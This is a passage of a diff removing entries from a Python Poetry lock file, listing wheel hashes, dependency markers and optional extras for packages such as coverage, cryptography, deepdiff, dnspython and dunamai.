"sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af"}, - {file = "coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d"}, - {file = "coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b"}, - {file = "coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9"}, - {file = "coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd"}, - {file = "coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997"}, - {file = "coverage-7.13.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:300deaee342f90696ed186e3a00c71b5b3d27bffe9e827677954f4ee56969601"}, - {file = "coverage-7.13.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:29e3220258d682b6226a9b0925bc563ed9a1ebcff3cad30f043eceea7eaf2689"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:391ee8f19bef69210978363ca930f7328081c6a0152f1166c91f0b5fdd2a773c"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0dd7ab8278f0d58a0128ba2fca25824321f05d059c1441800e934ff2efa52129"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78cdf0d578b15148b009ccf18c686aa4f719d887e76e6b40c38ffb61d264a552"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:48685fee12c2eb3b27c62f2658e7ea21e9c3239cba5a8a242801a0a3f6a8c62a"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4e83efc079eb39480e6346a15a1bcb3e9b04759c5202d157e1dd4303cd619356"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecae9737b72408d6a950f7e525f30aca12d4bd8dd95e37342e5beb3a2a8c4f71"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae4578f8528569d3cf303fef2ea569c7f4c4059a38c8667ccef15c6e1f118aa5"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:6fdef321fdfbb30a197efa02d48fcd9981f0d8ad2ae8903ac318adc653f5df98"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b0f6ccf3dbe577170bebfce1318707d0e8c3650003cb4b3a9dd744575daa8b5"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75fcd519f2a5765db3f0e391eb3b7d150cce1a771bf4c9f861aeab86c767a3c0"}, - {file = "coverage-7.13.4-cp314-cp314-win32.whl", hash = "sha256:8e798c266c378da2bd819b0677df41ab46d78065fb2a399558f3f6cae78b2fbb"}, - {file = "coverage-7.13.4-cp314-cp314-win_amd64.whl", hash = "sha256:245e37f664d89861cf2329c9afa2c1fe9e6d4e1a09d872c947e70718aeeac505"}, - {file = "coverage-7.13.4-cp314-cp314-win_arm64.whl", hash = "sha256:ad27098a189e5838900ce4c2a99f2fe42a0bf0c2093c17c69b45a71579e8d4a2"}, - {file = "coverage-7.13.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:85480adfb35ffc32d40918aad81b89c69c9cc5661a9b8a81476d3e645321a056"}, - {file = "coverage-7.13.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:79be69cf7f3bf9b0deeeb062eab7ac7f36cd4cc4c4dd694bd28921ba4d8596cc"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:caa421e2684e382c5d8973ac55e4f36bed6821a9bad5c953494de960c74595c9"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:14375934243ee05f56c45393fe2ce81fe5cc503c07cee2bdf1725fb8bef3ffaf"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25a41c3104d08edb094d9db0d905ca54d0cd41c928bb6be3c4c799a54753af55"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f01afcff62bf9a08fb32b2c1d6e924236c0383c02c790732b6537269e466a72"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eb9078108fbf0bcdde37c3f4779303673c2fa1fe8f7956e68d447d0dd426d38a"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e086334e8537ddd17e5f16a344777c1ab8194986ec533711cbe6c41cde841b6"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:725d985c5ab621268b2edb8e50dfe57633dc69bda071abc470fed55a14935fd3"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3c06f0f1337c667b971ca2f975523347e63ec5e500b9aa5882d91931cd3ef750"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:590c0ed4bf8e85f745e6b805b2e1c457b2e33d5255dd9729743165253bc9ad39"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eb30bf180de3f632cd043322dad5751390e5385108b2807368997d1a92a509d0"}, - {file = "coverage-7.13.4-cp314-cp314t-win32.whl", hash = "sha256:c4240e7eded42d131a2d2c4dec70374b781b043ddc79a9de4d55ca71f8e98aea"}, - {file = "coverage-7.13.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4c7d3cc01e7350f2f0f6f7036caaf5673fb56b6998889ccfe9e1c1fe75a9c932"}, - {file = "coverage-7.13.4-cp314-cp314t-win_arm64.whl", hash = "sha256:23e3f687cf945070d1c90f85db66d11e3025665d8dafa831301a0e0038f3db9b"}, - {file = "coverage-7.13.4-py3-none-any.whl", hash = "sha256:1af1641e57cf7ba1bd67d677c9abdbcd6cc2ab7da3bca7fa1e2b7e50e65f2ad0"}, - {file = "coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91"}, -] - -[package.dependencies] -tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} - -[package.extras] -toml = ["tomli ; python_full_version <= \"3.11.0a6\""] - -[[package]] -name = "cryptography" -version = "43.0.3" -description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -optional = false -python-versions = ">=3.7" -groups = ["main"] -markers = "python_version == \"3.9\"" -files = [ - {file = "cryptography-43.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:bf7a1932ac4176486eab36a19ed4c0492da5d97123f1406cf15e41b05e787d2e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63efa177ff54aec6e1c0aefaa1a241232dcd37413835a9b674b6e3f0ae2bfd3e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e1ce50266f4f70bf41a2c6dc4358afadae90e2a1e5342d3c08883df1675374f"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:443c4a81bb10daed9a8f334365fe52542771f25aedaf889fd323a853ce7377d6"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:74f57f24754fe349223792466a709f8e0c093205ff0dca557af51072ff47ab18"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9762ea51a8fc2a88b70cf2995e5675b38d93bf36bd67d91721c309df184f49bd"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:81ef806b1fef6b06dcebad789f988d3b37ccaee225695cf3e07648eee0fc6b73"}, - {file = "cryptography-43.0.3-cp37-abi3-win32.whl", hash = "sha256:cbeb489927bd7af4aa98d4b261af9a5bc025bd87f0e3547e11584be9e9427be2"}, - {file = "cryptography-43.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:f46304d6f0c6ab8e52770addfa2fc41e6629495548862279641972b6215451cd"}, - {file = "cryptography-43.0.3-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:8ac43ae87929a5982f5948ceda07001ee5e83227fd69cf55b109144938d96984"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:846da004a5804145a5f441b8530b4bf35afbf7da70f82409f151695b127213d5"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f996e7268af62598f2fc1204afa98a3b5712313a55c4c9d434aef49cadc91d4"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f7b178f11ed3664fd0e995a47ed2b5ff0a12d893e41dd0494f406d1cf555cab7"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:c2e6fc39c4ab499049df3bdf567f768a723a5e8464816e8f009f121a5a9f4405"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e1be4655c7ef6e1bbe6b5d0403526601323420bcf414598955968c9ef3eb7d16"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:df6b6c6d742395dd77a23ea3728ab62f98379eff8fb61be2744d4679ab678f73"}, - {file = "cryptography-43.0.3-cp39-abi3-win32.whl", hash = "sha256:d56e96520b1020449bbace2b78b603442e7e378a9b3bd68de65c782db1507995"}, - {file = "cryptography-43.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:0c580952eef9bf68c4747774cde7ec1d85a6e61de97281f2dba83c7d2c806362"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d03b5621a135bffecad2c73e9f4deb1a0f977b9a8ffe6f8e002bf6c9d07b918c"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a2a431ee15799d6db9fe80c82b055bae5a752bef645bba795e8e52687c69efe3"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:281c945d0e28c92ca5e5930664c1cefd85efe80e5c0d2bc58dd63383fda29f83"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f18c716be16bc1fea8e95def49edf46b82fccaa88587a45f8dc0ff6ab5d8e0a7"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4a02ded6cd4f0a5562a8887df8b3bd14e822a90f97ac5e544c162899bc467664"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:53a583b6637ab4c4e3591a15bc9db855b8d9dee9a669b550f311480acab6eb08"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1ec0bcf7e17c0c5669d881b1cd38c4972fade441b27bda1051665faaa89bdcaa"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ce6fae5bdad59577b44e4dfed356944fbf1d925269114c28be377692643b4ff"}, - {file = "cryptography-43.0.3.tar.gz", hash = "sha256:315b9001266a492a6ff443b61238f956b214dbec9910a081ba5b6646a055a805"}, -] - -[package.dependencies] -cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} - -[package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] -docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] -nox = ["nox"] -pep8test = ["check-sdist", "click", "mypy", "ruff"] -sdist = ["build"] -ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi", "cryptography-vectors (==43.0.3)", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] -test-randomorder = ["pytest-randomly"] - -[[package]] -name = "cryptography" -version = "46.0.4" -description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -optional = false -python-versions = "!=3.9.0,!=3.9.1,>=3.8" -groups = ["main"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "cryptography-46.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:281526e865ed4166009e235afadf3a4c4cba6056f99336a99efba65336fd5485"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5f14fba5bf6f4390d7ff8f086c566454bff0411f6d8aa7af79c88b6f9267aecc"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:47bcd19517e6389132f76e2d5303ded6cf3f78903da2158a671be8de024f4cd0"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:01df4f50f314fbe7009f54046e908d1754f19d0c6d3070df1e6268c5a4af09fa"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5aa3e463596b0087b3da0dbe2b2487e9fc261d25da85754e30e3b40637d61f81"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0a9ad24359fee86f131836a9ac3bffc9329e956624a2d379b613f8f8abaf5255"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:dc1272e25ef673efe72f2096e92ae39dea1a1a450dd44918b15351f72c5a168e"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:de0f5f4ec8711ebc555f54735d4c673fc34b65c44283895f1a08c2b49d2fd99c"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:eeeb2e33d8dbcccc34d64651f00a98cb41b2dc69cef866771a5717e6734dfa32"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:3d425eacbc9aceafd2cb429e42f4e5d5633c6f873f5e567077043ef1b9bbf616"}, - {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91627ebf691d1ea3976a031b61fb7bac1ccd745afa03602275dda443e11c8de0"}, - {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2d08bc22efd73e8854b0b7caff402d735b354862f1145d7be3b9c0f740fef6a0"}, - {file = "cryptography-46.0.4-cp311-abi3-win32.whl", hash = "sha256:82a62483daf20b8134f6e92898da70d04d0ef9a75829d732ea1018678185f4f5"}, - {file = "cryptography-46.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:6225d3ebe26a55dbc8ead5ad1265c0403552a63336499564675b29eb3184c09b"}, - {file = "cryptography-46.0.4-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:485e2b65d25ec0d901bca7bcae0f53b00133bf3173916d8e421f6fddde103908"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:078e5f06bd2fa5aea5a324f2a09f914b1484f1d0c2a4d6a8a28c74e72f65f2da"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:dce1e4f068f03008da7fa51cc7abc6ddc5e5de3e3d1550334eaf8393982a5829"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:2067461c80271f422ee7bdbe79b9b4be54a5162e90345f86a23445a0cf3fd8a2"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:c92010b58a51196a5f41c3795190203ac52edfd5dc3ff99149b4659eba9d2085"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:829c2b12bbc5428ab02d6b7f7e9bbfd53e33efd6672d21341f2177470171ad8b"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:62217ba44bf81b30abaeda1488686a04a702a261e26f87db51ff61d9d3510abd"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:9c2da296c8d3415b93e6053f5a728649a87a48ce084a9aaf51d6e46c87c7f2d2"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:9b34d8ba84454641a6bf4d6762d15847ecbd85c1316c0a7984e6e4e9f748ec2e"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:df4a817fa7138dd0c96c8c8c20f04b8aaa1fac3bbf610913dcad8ea82e1bfd3f"}, - {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b1de0ebf7587f28f9190b9cb526e901bf448c9e6a99655d2b07fff60e8212a82"}, - {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9b4d17bc7bd7cdd98e3af40b441feaea4c68225e2eb2341026c84511ad246c0c"}, - {file = "cryptography-46.0.4-cp314-cp314t-win32.whl", hash = "sha256:c411f16275b0dea722d76544a61d6421e2cc829ad76eec79280dbdc9ddf50061"}, - {file = "cryptography-46.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:728fedc529efc1439eb6107b677f7f7558adab4553ef8669f0d02d42d7b959a7"}, - {file = "cryptography-46.0.4-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:a9556ba711f7c23f77b151d5798f3ac44a13455cc68db7697a1096e6d0563cab"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8bf75b0259e87fa70bddc0b8b4078b76e7fd512fd9afae6c1193bcf440a4dbef"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3c268a3490df22270955966ba236d6bc4a8f9b6e4ffddb78aac535f1a5ea471d"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:812815182f6a0c1d49a37893a303b44eaac827d7f0d582cecfc81b6427f22973"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:a90e43e3ef65e6dcf969dfe3bb40cbf5aef0d523dff95bfa24256be172a845f4"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a05177ff6296644ef2876fce50518dffb5bcdf903c85250974fc8bc85d54c0af"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:daa392191f626d50f1b136c9b4cf08af69ca8279d110ea24f5c2700054d2e263"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e07ea39c5b048e085f15923511d8121e4a9dc45cee4e3b970ca4f0d338f23095"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d5a45ddc256f492ce42a4e35879c5e5528c09cd9ad12420828c972951d8e016b"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:6bb5157bf6a350e5b28aee23beb2d84ae6f5be390b2f8ee7ea179cda077e1019"}, - {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:dd5aba870a2c40f87a3af043e0dee7d9eb02d4aff88a797b48f2b43eff8c3ab4"}, - {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:93d8291da8d71024379ab2cb0b5c57915300155ad42e07f76bea6ad838d7e59b"}, - {file = "cryptography-46.0.4-cp38-abi3-win32.whl", hash = "sha256:0563655cb3c6d05fb2afe693340bc050c30f9f34e15763361cf08e94749401fc"}, - {file = "cryptography-46.0.4-cp38-abi3-win_amd64.whl", hash = "sha256:fa0900b9ef9c49728887d1576fd8d9e7e3ea872fa9b25ef9b64888adc434e976"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:766330cce7416c92b5e90c3bb71b1b79521760cdcfc3a6a1a182d4c9fab23d2b"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c236a44acfb610e70f6b3e1c3ca20ff24459659231ef2f8c48e879e2d32b73da"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8a15fb869670efa8f83cbffbc8753c1abf236883225aed74cd179b720ac9ec80"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:fdc3daab53b212472f1524d070735b2f0c214239df131903bae1d598016fa822"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:44cc0675b27cadb71bdbb96099cca1fa051cd11d2ade09e5cd3a2edb929ed947"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:be8c01a7d5a55f9a47d1888162b76c8f49d62b234d88f0ff91a9fbebe32ffbc3"}, - {file = "cryptography-46.0.4.tar.gz", hash = "sha256:bfd019f60f8abc2ed1b9be4ddc21cfef059c841d86d710bb69909a688cbb8f59"}, -] - -[package.dependencies] -cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} -typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} - -[package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] -docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] -nox = ["nox[uv] (>=2024.4.15)"] -pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] -sdist = ["build (>=1.0.0)"] -ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi (>=2024)", "cryptography-vectors (==46.0.4)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] -test-randomorder = ["pytest-randomly"] - -[[package]] -name = "deepdiff" -version = "8.6.1" -description = "Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b"}, - {file = "deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a"}, -] - -[package.dependencies] -orderly-set = ">=5.4.1,<6" - -[package.extras] -cli = ["click (>=8.1.0,<8.2.0)", "pyyaml (>=6.0.0,<6.1.0)"] -coverage = ["coverage (>=7.6.0,<7.7.0)"] -dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)", "jsonpickle (>=4.0.0,<4.1.0)", "nox (==2025.5.1)", "numpy (>=2.0,<3.0) ; python_version < \"3.10\"", "numpy (>=2.2.0,<2.3.0) ; python_version >= \"3.10\"", "orjson (>=3.10.0,<3.11.0)", "pandas (>=2.2.0,<2.3.0)", "polars (>=1.21.0,<1.22.0)", "python-dateutil (>=2.9.0,<2.10.0)", "tomli (>=2.2.0,<2.3.0)", "tomli-w (>=1.2.0,<1.3.0)", "uuid6 (==2025.0.1)"] -docs = ["Sphinx (>=6.2.0,<6.3.0)", "sphinx-sitemap (>=2.6.0,<2.7.0)", "sphinxemoji (>=0.3.0,<0.4.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)", "pydantic (>=2.10.0,<2.11.0)"] -test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] - -[[package]] -name = "distlib" -version = "0.4.0" -description = "Distribution utilities" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, - {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, -] - -[[package]] -name = "dnspython" -version = "2.7.0" -description = "DNS toolkit" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, - {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, -] - -[package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=43)"] -doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=1.0.0)"] -idna = ["idna (>=3.7)"] -trio = ["trio (>=0.23)"] -wmi = ["wmi (>=1.5.1)"] - -[[package]] -name = "dunamai" -version = "1.26.0" -description = "Dynamic version generation" -optional = false -python-versions = ">=3.5" -groups = ["dev"] -files = [ - {file = "dunamai-1.26.0-py3-none-any.whl", hash = "sha256:f584edf0fda0d308cce0961f807bc90a8fe3d9ff4d62f94e72eca7b43f0ed5f6"}, - {file = "dunamai-1.26.0.tar.gz", hash = "sha256:5396ac43aa20ed059040034e9f9798c7464cf4334c6fc3da3732e29273a2f97d"}, -] - -[package.dependencies] -packaging = ">=20.9" - 